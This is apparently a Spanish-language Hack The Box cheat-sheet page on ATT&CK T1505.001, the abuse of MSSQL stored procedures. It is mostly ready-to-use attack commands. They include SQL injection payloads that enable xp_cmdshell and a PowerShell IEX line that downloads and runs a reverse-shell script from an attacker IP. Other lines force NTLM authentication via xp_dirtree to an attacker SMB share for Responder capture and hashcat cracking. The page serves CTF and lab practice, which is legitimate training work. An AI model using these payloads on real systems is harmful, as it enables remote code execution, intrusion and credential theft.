T1505.001

Procedimientos almacenados de SQL

Subtécnica de T1505 Componente de software de servidor ↗

Usar procedimientos de la base de datos (xp_cmdshell en MSSQL) para ejecutar comandos en el sistema.

Cómo aparece en Hack The Box

Con acceso a un MSSQL, mira si eres sysadmin para activar xp_cmdshell; si no, xp_dirtree hacia tu IP filtra el hash NTLM de la cuenta de servicio y los linked servers pueden darte más privilegios.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Payloads de inyección SQL › MSSQL

Activar xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
Ejecutar un comando
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--
Capturar el hash NetNTLMv2 de la cuenta del servicio
'; EXEC master..xp_dirtree '\\10.10.14.5\share';--

Antes, en tu máquina, sudo responder -I tun0 (o impacket-smbserver share . -smb2support). Crackea el hash con hashcat -m 5600.

Conectar Atacante
impacket-mssqlclient usuario:'Password123!'@10.10.11.20 -windows-auth

Impacket › Más ejemplos

Conectarse a MSSQL con cuenta de Windows
impacket-mssqlclient box.htb/usuario:'Password123!'@10.10.11.20 -windows-auth

Responder › Capturar hashes

Forzar la autenticación desde MSSQL Víctima
EXEC master..xp_dirtree '\\10.10.14.5\share'